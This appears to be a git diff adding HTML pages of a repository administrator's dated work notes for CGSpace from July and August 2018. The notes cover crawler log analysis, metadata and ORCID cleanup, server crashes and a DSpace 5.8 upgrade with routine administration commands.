  • 95.108.181.88 appears to be Yandex, so I dunno why it’s creating so many sessions, as its user agent should match Tomcat’s Crawler Session Manager Valve
    • +
  • 70.32.83.92 is on MediaTemple but I’m not sure who it is. They are mostly hitting REST so I guess that’s fine
    • +
  • 35.227.26.162 doesn’t declare a user agent and is on Google Cloud, so I should probably mark them as a bot in nginx
    • +
  • 178.154.200.38 is Yandex again
    • +
  • 207.46.13.47 is Bing
    • +
  • 157.55.39.234 is Bing
    • +
  • 137.108.70.6 is our old friend CORE bot
    • +
  • 50.116.102.77 doesn’t declare a user agent and lives on HostGator, but mostly just hits the REST API so I guess that’s fine
    • +
  • 40.77.167.84 is Bing again
    • +
  • Interestingly, the first time that I see 35.227.26.162 was on 2018-06-08
    • +
  • I’ve added 35.227.26.162 to the bot tagging logic in the nginx vhost
    • +
+

2018-07-10

+
    +
  • Add “United Kingdom government” to sponsors (#381)
    • +
  • Add “Enhancing Sustainability Across Agricultural Systems” to WLE Phase II Research Themes (#382)
    • +
  • Add “PII-FP2_MSCCCAFS” to CCAFS Phase II Project Tags (#383)
    • +
  • Add journal title (dc.source) to Discovery search filters (#384)
    • +
  • All were tested and merged to the 5_x-prod branch and will be deployed on CGSpace this coming weekend when I do the Linode server upgrade
    • +
  • I need to get them onto the 5.8 testing branch too, either via cherry-picking or by rebasing after we finish testing Atmire’s 5.8 pull request (#378)
    • +
  • Linode sent an alert about CPU usage on CGSpace again, about 13:00UTC
    • +
  • These are the top ten users in the last two hours:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "10/Jul/2018:(11|12|13)" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     81 193.95.22.113
+     82 50.116.102.77
+    112 40.77.167.90
+    117 196.190.95.98
+    120 178.154.200.38
+    215 40.77.167.96
+    243 41.204.190.40
+    415 95.108.181.88
+    695 35.227.26.162
+    697 213.139.52.250
+
    +
  • Looks like 213.139.52.250 is Moayad testing his new CGSpace vizualization thing:
    • +
+
213.139.52.250 - - [10/Jul/2018:13:39:41 +0000] "GET /bitstream/handle/10568/75668/dryad.png HTTP/2.0" 200 53750 "http://localhost:4200/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36"
+
    +
  • He said there was a bug that caused his app to request a bunch of invalid URLs
    • +
  • I’ll have to keep and eye on this and see how their platform evolves
    • +
+

2018-07-11

+
    +
  • Skype meeting with Peter and Addis CGSpace team +
      +
    • We need to look at doing the dc.rights stuff again, which we last worked on in 2018-01 and 2018-02
      • +
    • Abenet suggested that we do a controlled vocabulary for the authors, perhaps with the top 1,500 or so on CGSpace?
      • +
    • Peter told Sisay to test this controlled vocabulary
      • +
    • Discuss meeting in Nairobi in October
      • +
    +
    • +
+

2018-07-12

+
    +
  • Uptime Robot said that CGSpace went down a few times last night, around 10:45 PM and 12:30 AM
    • +
  • Here are the top ten IPs from last night and this morning:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "11/Jul/2018:22" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     48 66.249.64.91
+     50 35.227.26.162
+     57 157.55.39.234
+     59 157.55.39.71
+     62 147.99.27.190
+     82 95.108.181.88
+     92 40.77.167.90
+     97 183.128.40.185
+     97 240e:f0:44:fa53:745a:8afe:d221:1232
+   3634 208.110.72.10
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "12/Jul/2018:00" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+     25 216.244.66.198
+     38 40.77.167.185
+     46 66.249.64.93
+     56 157.55.39.71
+     60 35.227.26.162
+     65 157.55.39.234
+     83 95.108.181.88
+     87 66.249.64.91
+     96 40.77.167.90
+   7075 208.110.72.10
+
    +
  • We have never seen 208.110.72.10 before… so that’s interesting!
    • +
  • The user agent for these requests is: Pcore-HTTP/v0.44.0
    • +
  • A brief Google search doesn’t turn up any information about what this bot is, but lots of users complaining about it
    • +
  • This bot does make a lot of requests all through the day, although it seems to re-use its Tomcat session:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "Pcore-HTTP" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+  17098 208.110.72.10
+# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=208.110.72.10' dspace.log.2018-07-11
+1161
+# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=208.110.72.10' dspace.log.2018-07-12
+1885
+
    +
  • I think the problem is that, despite the bot requesting robots.txt, it almost exlusively requests dynamic pages from /discover:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "Pcore-HTTP" | grep -o -E "GET /(browse|discover|search-filter)" | sort -n | uniq -c | sort -rn
+  13364 GET /discover
+    993 GET /search-filter
+    804 GET /browse
+# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "Pcore-HTTP" | grep robots
+208.110.72.10 - - [12/Jul/2018:00:22:28 +0000] "GET /robots.txt HTTP/1.1" 200 1301 "https://cgspace.cgiar.org/robots.txt" "Pcore-HTTP/v0.44.0"
+
    +
  • So this bot is just like Baiduspider, and I need to add it to the nginx rate limiting
    • +
  • I’ll also add it to Tomcat’s Crawler Session Manager Valve to force the re-use of a common Tomcat sesssion for all crawlers just in case
    • +
  • Generate a list of all affiliations in CGSpace to send to Mohamed Salem to compare with the list on MEL (sorting the list by most occurrences):
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where resource_type_id=2 and metadata_field_id=211 group by text_value order by count desc) to /tmp/affiliations.csv with csv header
+COPY 4518
+dspace=# \q
+$ csvcut -c 1 < /tmp/affiliations.csv > /tmp/affiliations-1.csv
+
    +
  • We also need to discuss standardizing our countries and comparing our ORCID iDs
    • +
+

2018-07-13

+
    +
  • Generate a list of affiliations for Peter and Abenet to go over so we can batch correct them before we deploy the new data visualization dashboard:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'affiliation') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/affiliations.csv with csv header;
+COPY 4518
+

2018-07-15

+
    +
  • Run all system updates on CGSpace, add latest metadata changes from last week, and start the Linode instance upgrade
    • +
  • After the upgrade I see we have more disk space available in the instance’s dashboard, so I shut the instance down and resized it from 392GB to 650GB
    • +
  • The resize was very quick (less than one minute) and after booting the instance back up I now have 631GB for the root filesystem (with 267GB available)!
    • +
  • Peter had asked a question about how mapped items are displayed in the Altmetric dashboard
    • +
  • For example, 10568/82810 is mapped to four collections, but only shows up in one “department” in their dashboard
    • +
  • Altmetric help said that according to OAI that item is only in one department
    • +
  • I noticed that indeed there was only one collection listed, so I forced an OAI re-import on CGSpace:
    • +
+
$ dspace oai import -c
+OAI 2.0 manager action started
+Clearing index
+Index cleared
+Using full import.
+Full import
+100 items imported so far...
+200 items imported so far...
+...
+73900 items imported so far...
+Total: 73925 items
+Purging cached OAI responses.
+OAI 2.0 manager action ended. It took 697 seconds.
+
    +
  • Now I see four colletions in OAI for that item!
    • +
  • I need to ask the dspace-tech mailing list if the nightly OAI import catches the case of old items that have had metadata or mappings change
    • +
  • ICARDA sent me a list of the ORCID iDs they have in the MEL system and it looks like almost 150 are new and unique to us!
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l
+1020
+$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml MEL\ ORCID.json | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq | wc -l
+1158
+
    +
  • I combined the two lists and regenerated the names for all our the ORCID iDs using my resolve-orcids.py script:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-id.xml MEL\ ORCID.json | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2018-07-15-orcid-ids.txt
+$ ./resolve-orcids.py -i /tmp/2018-07-15-orcid-ids.txt -o /tmp/2018-07-15-resolved-orcids.txt -d
+
    +
  • Then I added the XML formatting for controlled vocabularies, sorted the list with GNU sort in vim via % !sort and then checked the formatting with tidy:
    • +
+
$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I will check with the CGSpace team to see if they want me to add these to CGSpace
    • +
  • Help Udana from WLE understand some Altmetrics concepts
    • +
+

2018-07-18

+
    +
  • ICARDA sent me another refined list of ORCID iDs so I sorted and formatted them into our controlled vocabulary again
    • +
  • Participate in call with IWMI and WLE to discuss Altmetric, CGSpace, and social media
    • +
  • I told them that they should try to be including the Handle link on their social media shares because that’s the only way to get Altmetric to notice them and associate them with their DOIs
    • +
  • I suggested that we should have a wider meeting about this, and that I would post that on Yammer
    • +
  • I was curious about how and when Altmetric harvests the OAI, so I looked in nginx’s OAI log
    • +
  • For every day in the past week I only see about 50 to 100 requests per day, but then about nine days ago I see 1500 requsts
    • +
  • In there I see two bots making about 750 requests each, and this one is probably Altmetric:
    • +
+
178.33.237.157 - - [09/Jul/2018:17:00:46 +0000] "GET /oai/request?verb=ListRecords&resumptionToken=oai_dc////100 HTTP/1.1" 200 58653 "-" "Apache-HttpClient/4.5.2 (Java/1.8.0_121)"
+178.33.237.157 - - [09/Jul/2018:17:01:11 +0000] "GET /oai/request?verb=ListRecords&resumptionToken=oai_dc////200 HTTP/1.1" 200 67950 "-" "Apache-HttpClient/4.5.2 (Java/1.8.0_121)"
+...
+178.33.237.157 - - [09/Jul/2018:22:10:39 +0000] "GET /oai/request?verb=ListRecords&resumptionToken=oai_dc////73900 HTTP/1.1" 20 0 25049 "-" "Apache-HttpClient/4.5.2 (Java/1.8.0_121)"
+
    +
  • So if they are getting 100 records per OAI request it would take them 739 requests
    • +
  • I wonder if I should add this user agent to the Tomcat Crawler Session Manager valve… does OAI use Tomcat sessions?
    • +
  • Appears not:
    • +
+
$ http --print Hh 'https://cgspace.cgiar.org/oai/request?verb=ListRecords&resumptionToken=oai_dc////100'
+GET /oai/request?verb=ListRecords&resumptionToken=oai_dc////100 HTTP/1.1
+Accept: */*
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Host: cgspace.cgiar.org
+User-Agent: HTTPie/0.9.9
+
+HTTP/1.1 200 OK
+Connection: keep-alive
+Content-Encoding: gzip
+Content-Type: application/xml;charset=UTF-8
+Date: Wed, 18 Jul 2018 14:46:37 GMT
+Server: nginx
+Strict-Transport-Security: max-age=15768000
+Transfer-Encoding: chunked
+Vary: Accept-Encoding
+X-Content-Type-Options: nosniff
+X-Frame-Options: SAMEORIGIN
+X-XSS-Protection: 1; mode=block
+

2018-07-19

+
    +
  • I tested a submission via SAF bundle to DSpace 5.8 and it worked fine
    • +
  • In addition to testing DSpace 5.8, I specifically wanted to see if the issue with specifying collections in metadata instead of on the command line would work (DS-3583)
    • +
  • Post a note on Yammer about Altmetric and Handle best practices
    • +
  • Update PostgreSQL JDBC jar from 42.2.2 to 42.2.4 in the RMG Ansible playbooks
    • +
  • IWMI asked why all the dates in their OpenSearch RSS feed show up as January 01, 2018
    • +
  • On closer inspection I notice that many of their items use “2018” as their dc.date.issued, which is a valid ISO 8601 date but it’s not very specific so DSpace assumes it is January 01, 2018 00:00:00…
    • +
  • I told her that they need to start using more accurate dates for their issue dates
    • +
  • In the example item I looked at the DOI has a publish date of 2018-03-16, so they should really try to capture that
    • +
+

2018-07-22

+
    +
  • I told the IWMI people that they can use sort_by=3 in their OpenSearch query to sort the results by dc.date.accessioned instead of dc.date.issued
    • +
  • They say that it is a burden for them to capture the issue dates, so I cautioned them that this is in their own benefit for future posterity and that everyone else on CGSpace manages to capture the issue dates!
    • +
  • For future reference, as I had previously noted in 2018-04, sort options are configured in dspace.cfg, for example:
    • +
+
webui.itemlist.sort-option.3 = dateaccessioned:dc.date.accessioned:date
+
    +
  • Just because I was curious I made sure that these options are working as expected in DSpace 5.8 on DSpace Test (they are)
    • +
  • I tested the Atmire Listings and Reports (L&R) module one last time on my local test environment with a new snapshot of CGSpace’s database and re-generated Discovery index and it worked fine
    • +
  • I finally informed Atmire that we’re ready to proceed with deploying this to CGSpace and that they should advise whether we should wait about the SNAPSHOT versions in pom.xml
    • +
  • There is no word on the issue I reported with Tomcat 8.5.32 yet, though…
    • +
+

2018-07-23

+
    +
  • Still discussing dates with IWMI
    • +
  • I looked in the database to see the breakdown of date formats used in dc.date.issued, ie YYYY, YYYY-MM, or YYYY-MM-DD:
    • +
+
dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=15 and text_value ~ '^[0-9]{4}$';
+ count
+-------
+ 53292
+(1 row)
+dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=15 and text_value ~ '^[0-9]{4}-[0-9]{2}$';
+ count
+-------
+  3818
+(1 row)
+dspace=# select count(text_value) from metadatavalue where resource_type_id=2 and metadata_field_id=15 and text_value ~ '^[0-9]{4}-[0-9]{2}-[0-9]{2}$';
+ count
+-------
+ 17357
+
    +
  • So it looks like YYYY is the most numerious, followed by YYYY-MM-DD, then YYYY-MM
    • +
+

2018-07-26

+
    +
  • Run system updates on DSpace Test (linode19) and reboot the server
    • +
+

2018-07-27

+
    +
  • Follow up with Atmire again about the SNAPSHOT versions in our pom.xml because I want to finalize the DSpace 5.8 upgrade soon and I haven’t heard from them in a month (ticket 560)
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-08/index.html b/docs/2018-08/index.html new file mode 100644 index 000000000..711cd139a --- /dev/null +++ b/docs/2018-08/index.html @@ -0,0 +1,496 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

August, 2018

+

+ + in + Notes + + +

+
+

2018-08-01

+
    +
  • DSpace Test had crashed at some point yesterday morning and I see the following in dmesg:
    • +
+
[Tue Jul 31 00:00:41 2018] Out of memory: Kill process 1394 (java) score 668 or sacrifice child
+[Tue Jul 31 00:00:41 2018] Killed process 1394 (java) total-vm:15601860kB, anon-rss:5355528kB, file-rss:0kB, shmem-rss:0kB
+[Tue Jul 31 00:00:41 2018] oom_reaper: reaped process 1394 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • Judging from the time of the crash it was probably related to the Discovery indexing that starts at midnight
    • +
  • From the DSpace log I see that eventually Solr stopped responding, so I guess the java process that was OOM killed above was Tomcat’s
    • +
  • I’m not sure why Tomcat didn’t crash with an OutOfMemoryError…
    • +
  • Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did a few months ago when we tried to run the whole CGSpace Solr core
    • +
  • The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes
    • +
  • I ran all system updates on DSpace Test and rebooted it
    • +
+
    +
  • I started looking over the latest round of IITA batch records from Sisay on DSpace Test: IITA July_30 +
      +
    • incorrect authorship types
      • +
    • dozens of inconsistencies, spelling mistakes, and white space in author affiliations
      • +
    • minor issues in countries (California is not a country)
      • +
    • minor issues in IITA subjects, ISBNs, languages, and AGROVOC subjects
      • +
    +
    • +
+

2018-08-02

+
    +
  • DSpace Test crashed again and I don’t see the only error I see is this in dmesg:
    • +
+
[Thu Aug  2 00:00:12 2018] Out of memory: Kill process 1407 (java) score 787 or sacrifice child
+[Thu Aug  2 00:00:12 2018] Killed process 1407 (java) total-vm:18876328kB, anon-rss:6323836kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • I am still assuming that this is the Tomcat process that is dying, so maybe actually we need to reduce its memory instead of increasing it?
    • +
  • The risk we run there is that we’ll start getting OutOfMemory errors from Tomcat
    • +
  • So basically we need a new test server with more RAM very soon…
    • +
  • Abenet asked about the workflow statistics in the Atmire CUA module again
    • +
  • Last year Atmire told me that it’s disabled by default but you can enable it with workflow.stats.enabled = true in the CUA configuration file
    • +
  • There was a bug with adding users so they sent a patch, but I didn’t merge it because it was very dirty and I wasn’t sure it actually fixed the problem
    • +
  • I just tried to enable the stats again on DSpace Test now that we’re on DSpace 5.8 with updated Atmire modules, but every user I search for shows “No data available”
    • +
  • As a test I submitted a new item and I was able to see it in the workflow statistics “data” tab, but not in the graph
    • +
+

2018-08-15

+
    +
  • Run through Peter’s list of author affiliations from earlier this month
    • +
  • I did some quick sanity checks and small cleanups in Open Refine, checking for spaces, weird accents, and encoding errors
    • +
  • Finally I did a test run with the fix-metadata-value.py script:
    • +
+
$ ./fix-metadata-values.py -i 2018-08-15-Correct-1083-Affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -t correct -m 211
+$ ./delete-metadata-values.py -i 2018-08-15-Remove-11-Affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211
+

2018-08-16

+
    +
  • Generate a list of the top 1,500 authors on CGSpace for Sisay so he can create the controlled vocabulary:
    • +
+
dspace=# \copy (select distinct text_value, count(*) from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc limit 1500) to /tmp/2018-08-16-top-1500-authors.csv with csv; 
+
    +
  • Start working on adding the ORCID metadata to a handful of CIAT authors as requested by Elizabeth earlier this month
    • +
  • I might need to overhaul the add-orcid-identifiers-csv.py script to be a little more robust about author order and ORCID metadata that might have been altered manually by editors after submission, as this script was written without that consideration
    • +
  • After checking a few examples I see that checking only the text_value and place when adding ORCID fields is not enough anymore
    • +
  • It was a sane assumption when I was initially migrating ORCID records from Solr to regular metadata, but now it seems that some authors might have been added or changed after item submission
    • +
  • Now it is better to check if there is any existing ORCID identifier for a given author for the item…
    • +
  • I will have to update my script to extract the ORCID identifier and search for that
    • +
  • Re-create my local DSpace database using the latest PostgreSQL 9.6 Docker image and re-import the latest CGSpace dump:
    • +
+
$ sudo docker run --name dspacedb -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+$ createuser -h localhost -U postgres --pwprompt dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest ~/Downloads/cgspace_2018-08-16.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+$ psql -h localhost -U postgres -f ~/src/git/DSpace/dspace/etc/postgres/update-sequences.sql dspacetest
+

2018-08-19

+
    +
  • Keep working on the CIAT ORCID identifiers from Elizabeth
    • +
  • In the spreadsheet she sent me there are some names with other versions in the database, so when it is obviously the same one (ie “Schultze-Kraft, Rainer” and “Schultze-Kraft, R.”) I will just tag them with ORCID identifiers too
    • +
  • This is less obvious and more error prone with names like “Peters” where there are many more authors
    • +
  • I see some errors in the variations of names as well, for example:
    • +
+
Verchot, Louis
+Verchot, L
+Verchot, L. V.
+Verchot, L.V
+Verchot, L.V.
+Verchot, LV
+Verchot, Louis V.
+
    +
  • I’ll just tag them all with Louis Verchot’s ORCID identifier…
    • +
  • In the end, I’ll run the following CSV with my add-orcid-identifiers-csv.py script:
    • +
+
dc.contributor.author,cg.creator.id
+"Campbell, Bruce",Bruce M Campbell: 0000-0002-0123-4859
+"Campbell, Bruce M.",Bruce M Campbell: 0000-0002-0123-4859
+"Campbell, B.M",Bruce M Campbell: 0000-0002-0123-4859
+"Peters, Michael",Michael Peters: 0000-0003-4237-3916
+"Peters, M.",Michael Peters: 0000-0003-4237-3916
+"Peters, M.K.",Michael Peters: 0000-0003-4237-3916
+"Tamene, Lulseged",Lulseged Tamene: 0000-0002-3806-8890
+"Desta, Lulseged Tamene",Lulseged Tamene: 0000-0002-3806-8890
+"Läderach, Peter",Peter Läderach: 0000-0001-8708-6318
+"Lundy, Mark",Mark Lundy: 0000-0002-5241-3777
+"Schultze-Kraft, Rainer",Rainer Schultze-Kraft: 0000-0002-4563-0044
+"Schultze-Kraft, R.",Rainer Schultze-Kraft: 0000-0002-4563-0044
+"Verchot, Louis",Louis Verchot: 0000-0001-8309-6754
+"Verchot, L",Louis Verchot: 0000-0001-8309-6754
+"Verchot, L. V.",Louis Verchot: 0000-0001-8309-6754
+"Verchot, L.V",Louis Verchot: 0000-0001-8309-6754
+"Verchot, L.V.",Louis Verchot: 0000-0001-8309-6754
+"Verchot, LV",Louis Verchot: 0000-0001-8309-6754
+"Verchot, Louis V.",Louis Verchot: 0000-0001-8309-6754
+"Mukankusi, Clare",Clare Mukankusi: 0000-0001-7837-4545
+"Mukankusi, Clare M.",Clare Mukankusi: 0000-0001-7837-4545
+"Wyckhuys, Kris",Kris Wyckhuys: 0000-0003-0922-488X
+"Wyckhuys, Kris A. G.",Kris Wyckhuys: 0000-0003-0922-488X
+"Wyckhuys, Kris A.G.",Kris Wyckhuys: 0000-0003-0922-488X
+"Chirinda, Ngonidzashe",Ngonidzashe Chirinda: 0000-0002-4213-6294
+"Chirinda, Ngoni",Ngonidzashe Chirinda: 0000-0002-4213-6294
+"Ngonidzashe, Chirinda",Ngonidzashe Chirinda: 0000-0002-4213-6294
+
    +
  • The invocation would be:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2018-08-16-ciat-orcid.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • I ran the script on DSpace Test and CGSpace and tagged a total of 986 ORCID identifiers
    • +
  • Looking at the list of author affialitions from Peter one last time
    • +
  • I notice that I should add the Unicode character 0x00b4 (`) to my list of invalid characters to look for in Open Refine, making the latest version of the GREL expression being:
    • +
+
or(
+  isNotNull(value.match(/.*\uFFFD.*/)),
+  isNotNull(value.match(/.*\u00A0.*/)),
+  isNotNull(value.match(/.*\u200A.*/)),
+  isNotNull(value.match(/.*\u2019.*/)),
+  isNotNull(value.match(/.*\u00b4.*/))
+)
+
    +
  • This character all by itself is indicative of encoding issues in French, Italian, and Spanish names, for example: De´veloppement and Investigacio´n
    • +
  • I will run the following on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-08-15-Correct-1083-Affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -t correct -m 211
+$ ./delete-metadata-values.py -i /tmp/2018-08-15-Remove-11-Affiliations.csv -db dspace -u dspace -p 'fuuu' -f cg.contributor.affiliation -m 211
+
    +
  • Then force an update of the Discovery index on DSpace Test:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    72m12.570s
+user    6m45.305s
+sys     2m2.461s
+
    +
  • And then on CGSpace:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -D -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    79m44.392s
+user    8m50.730s
+sys     2m20.248s
+
    +
  • Run system updates on DSpace Test and reboot the server
    • +
  • In unrelated news, I see some newish Russian bot making a few thousand requests per day and not re-using its XMLUI session:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep '19/Aug/2018' | grep -c 5.9.6.51
+1553
+# grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=5.9.6.51' dspace.log.2018-08-19
+1724
+
    +
  • I don’t even know how its possible for the bot to use MORE sessions than total requests…
    • +
  • The user agent is:
    • +
+
Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
+
    +
  • So I’m thinking we should add “crawl” to the Tomcat Crawler Session Manager valve, as we already have “bot” that catches Googlebot, Bingbot, etc.
    • +
+

2018-08-20

+
    +
  • Help Sisay with some UTF-8 encoding issues in a file Peter sent him
    • +
  • Finish up reconciling Atmire’s pull request for DSpace 5.8 changes with the latest status of our 5_x-prod branch
    • +
  • I had to do some git rev-list --reverse --no-merges oldestcommit..newestcommit and git cherry-pick -S hackery to get everything all in order
    • +
  • After building I ran the Atmire schema migrations and forced old migrations, then did the ant update
    • +
  • I tried to build it on DSpace Test, but it seems to still need more RAM to complete (like I experienced last month), so I stopped Tomcat and set JAVA_OPTS to 1024m and tried the mvn package again
    • +
  • Still the mvn package takes forever and essentially hangs on processing the xmlui-mirage2 overlay (though after building all the themes)
    • +
  • I will try to reduce Tomcat memory from 4608m to 4096m and then retry the mvn package with 1024m of JAVA_OPTS again
    • +
  • After running the mvn package for the third time and waiting an hour, I attached strace to the Java process and saw that it was indeed reading XMLUI theme data… so I guess I just need to wait more
    • +
  • After waiting two hours the maven process completed and installation was successful
    • +
  • I restarted Tomcat and it seems everything is working well, so I’ll merge the pull request and try to schedule the CGSpace upgrade for this coming Sunday, August 26th
    • +
  • I merged Atmire’s pull request into our 5_x-dspace-5.8 temporary brach and then cherry-picked all the changes from 5_x-prod since April, 2018 when that temporary branch was created
    • +
  • As the branch histories are very different I cannot merge the new 5.8 branch into the current 5_x-prod branch
    • +
  • Instead, I will archive the current 5_x-prod DSpace 5.5 branch as 5_x-prod-dspace-5.5 and then hard reset 5_x-prod based on 5_x-dspace-5.8
    • +
  • Unfortunately this will mess up the references in pull requests and issues on GitHub
    • +
+

2018-08-21

+
    +
  • Something must have happened, as the mvn package always takes about two hours now, stopping for a very long time near the end at this step:
    • +
+
[INFO] Processing overlay [ id org.dspace.modules:xmlui-mirage2]
+
    +
  • It’s the same on DSpace Test, my local laptop, and CGSpace…
    • +
  • It wasn’t this way before when I was constantly building the previous 5.8 branch with Atmire patches…
    • +
  • I will restore the previous 5_x-dspace-5.8 and atmire-module-upgrades-5.8 branches to see if the build time is different there
    • +
  • … it seems that the atmire-module-upgrades-5.8 branch still takes 1 hour and 23 minutes on my local machine…
    • +
  • Let me try to build the old 5_x-prod-dspace-5.5 branch on my local machine and see how long it takes
    • +
  • That one only took 13 minutes! So there is definitely something wrong with our 5.8 branch, now I should try vanilla DSpace 5.8
    • +
  • I notice that the step this pauses at is:
    • +
+
[INFO] --- maven-war-plugin:2.4:war (default-war) @ xmlui ---
+
    +
  • And I notice that Atmire changed something in the XMLUI module’s pom.xml as part of the DSpace 5.8 changes, specifically to remove the exclude for node_modules in the maven-war-plugin step
    • +
  • This exclude is present in vanilla DSpace, and if I add it back the build time goes from 1 hour 23 minutes to 12 minutes!
    • +
  • It makes sense that it would take longer to complete this step because the node_modules folder has tens of thousands of files, and we have 27 themes!
    • +
  • I need to test to see if this has any side effects when deployed…
    • +
  • In other news, I see there was a pull request in DSpace 5.9 that fixes the issue with not being able to have blank lines in CSVs when importing via command line or webui (DS-3245)
    • +
+

2018-08-23

+
    +
  • Skype meeting with CKM people to meet new web dev guy Tariku
    • +
  • They say they want to start working on the ContentDM harvester middleware again
    • +
  • I sent a list of the top 1500 author affiliations on CGSpace to CodeObia so we can compare ours with the ones on MELSpace
    • +
  • Discuss CTA items with Sisay, he was trying to figure out how to do the collection mapping in combination with SAFBuilder
    • +
  • It appears that the web UI’s upload interface requires you to specify the collection, whereas the CLI interface allows you to omit the collection command line flag and defer to the collections file inside each item in the bundle
    • +
  • I imported the CTA items on CGSpace for Sisay:
    • +
+
$ dspace import -a -e s.webshet@cgiar.org -s /home/swebshet/ictupdates_uploads_August_21 -m /tmp/2018-08-23-cta-ictupdates.map
+

2018-08-26

+
    +
  • Doing the DSpace 5.8 upgrade on CGSpace (linode18)
    • +
  • I already finished the Maven build, now I’ll take a backup of the PostgreSQL database and do a database cleanup just in case:
    • +
+
$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-08-26-before-dspace-58.backup dspace
+$ dspace cleanup -v
+
    +
  • Now I can stop Tomcat and do the install:
    • +
+
$ cd dspace/target/dspace-installer
+$ ant update clean_backups update_geolite
+
    +
  • After the successful Ant update I can run the database migrations:
    • +
+
$ psql dspace dspace
+
+dspace=> \i /tmp/Atmire-DSpace-5.8-Schema-Migration.sql 
+DELETE 0
+UPDATE 1
+DELETE 1
+dspace=> \q
+
+$ dspace database migrate ignored
+
    +
  • Then I’ll run all system updates and reboot the server:
    • +
+
$ sudo su -
+# apt update && apt full-upgrade
+# apt clean && apt autoclean && apt autoremove
+# reboot
+
    +
  • After reboot I logged in and cleared all the XMLUI caches and everything looked to be working fine
    • +
  • Adam from WLE had asked a few weeks ago about getting the metadata for a bunch of items related to gender from 2013 until now
    • +
  • They want a CSV with all metadata, which the Atmire Listings and Reports module can’t do
    • +
  • I exported a list of items from Listings and Reports with the following criteria: from year 2013 until now, have WLE subject GENDER or GENDER POVERTY AND INSTITUTIONS, and CRP Water, Land and Ecosystems
    • +
  • Then I extracted the Handle links from the report so I could export each item’s metadata as CSV
    • +
+
$ grep -o -E "[0-9]{5}/[0-9]{0,5}" listings-export.txt > /tmp/iwmi-gender-items.txt
+
    +
  • Then on the DSpace server I exported the metadata for each item one by one:
    • +
+
$ while read -r line; do dspace metadata-export -f "/tmp/${line/\//-}.csv" -i $line; sleep 2; done < /tmp/iwmi-gender-items.txt
+
    +
  • But from here I realized that each of the fifty-nine items will have different columns in their CSVs, making it difficult to combine them
    • +
  • I’m not sure how to proceed without writing some script to parse and join the CSVs, and I don’t think it’s worth my time
    • +
  • I tested DSpace 5.8 in Tomcat 8.5.32 and it seems to work now, so I’m not sure why I got those errors last time I tried
